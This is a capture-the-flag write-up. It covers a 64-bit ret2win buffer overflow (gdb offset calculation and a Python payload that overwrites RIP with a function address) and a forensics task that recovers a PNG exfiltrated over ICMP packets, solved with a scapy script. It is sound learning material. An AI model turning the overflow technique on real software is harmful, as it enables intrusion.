Intro
Below are the writeups for some of the more interesting challenges that I managed to solved. I have excluded some challenges as I did not have time to finish the writeup before the challenges server was brought down :(
Pancakes
How many flap-jacks are on your stack?
Connect with:
nc jh2i.com 50021
Category: Binary Exploitation
TL;DR ret2win challenge
Pancakes was a simple buffer overflow challenge involving a 64-bit binary, it’s a good first step to learning about binary exploitation. We are given the binary, so let us take a deeper look.
secret_recipe function
Ghidra’s decompiler works wonders but I wanted to familiarise myself with gdb.
Let us first look at the binaries functions using gdb:
We see a function called secret_recipe
, below is the disassembled function’s code.
Based on the disassembly, we can conclude:
- A file is opened using the
fopen
function. - We see the two parameters (‘r’ and ‘flag.txt’) parsed into
fopen
by displaying the contents of the addresses in the twolea
instructions above the fopen function call. - Afterwards,
fread
andputs
functions are called.
Hence, we can deduce that this function reads the file containing the flag and prints the flag to stdout.
main function
Next, we can disassemble at the main function to see what the program does. We see that the dangerous gets
function is called. The main reason why gets
is vulnerable to buffer overflow is because it does not perform bounds checking on the size of its input.
Exploit crafting
Based on the information above, we can get the flag by executing the secret_recipe
function. This can be achieved by overflowing the buffer called in the gets
function so that we can overwrite the RIP
(Instruction Pointer in 64-bit) with the address of the secret_recipe
function in order to execute it.
Firstly, we need to calculate the buffer size of the gets
function to overflow. I did this manually using gdb by subtracting the memory address of the start of our buffer from RIP
address.
- Set a breakpoint before the program exits.
0x0000000000400989 <+418>: leave
0x000000000040098a <+419>: ret
End of assembler dump.
gdb-peda$ b *0x0000000000400989
Breakpoint 1 at 0x400989
- Generate a long string to overflow the buffer. e.g
python -c "print('A'*200)"
. - Get
RIP
address by running and overflowing binary’s buffer. - Get address of start of buffer from
RSP
(register for top of stack). We can see that from0x7fffffffe060
onwards contains our input. (0x41 == ‘A’) - Subtract start of buffer address from
RIP
address. The result is 152, which means our buffer size to overflow is 152 bytes.
gdb-peda$ p/d 0x7fffffffe0f8 - 0x7fffffffe060
$1 = 152
Below is a simple python script I used to generate the payload.
import struct
pad = "\x41" * 152
# 0x000000000040098b address of secret_recipe function
rip = struct.pack("<Q", 0x000000000040098b)
print(pad + rip)
Flag
flag{too_many_pancakes_on_the_stack}
Incredibly Covert Malware Procedures
We got hacked! Can you see what they took
Download the file below
Category: Forensics
We are given a pcap
file, so let us open wireshark to analyse the file.
ICMP packets’ data
The challenge’s title serves as a clue to look out for ICMP packets, which are abundant in the pcap
file. Looking at the first ICMP packet’s data, it contains the magic bytes for PNG files (89 50 4E 47 0D 0A 1A 0A
).
For each of the following ICMP packets, the PNG file bytes are replicated twice in the packet’s data. Hence, we can extract out the specific bytes from the pcap
file and write it to a resultant png file. I decided to use scapy to manipulate the pcap
file as shown below.
Solver script
#!/usr/bin/env python3
from scapy.all import IP, ICMP, rdpcap
from operator import itemgetter
import sys
pcap = rdpcap('incident.pcap')
filteredpkts = []
for p in pcap:
if ICMP in p and p[IP].src == '192.168.8.114':
filteredpkts.append(p)
flag = b""
for p in filteredpkts:
# https://stackoverflow.com/questions/14267452/iterate-over-individual-bytes-in-python-3
byte_list = [i.to_bytes(1, sys.byteorder) for i in p[ICMP].load]
byte_index = list(range(16,32))
flag += b''.join(itemgetter(*byte_index)(byte_list))
f = open('flag.png','wb')
f.write(flag)
f.close()
Flag
flag{not_so_stealthy_exfil}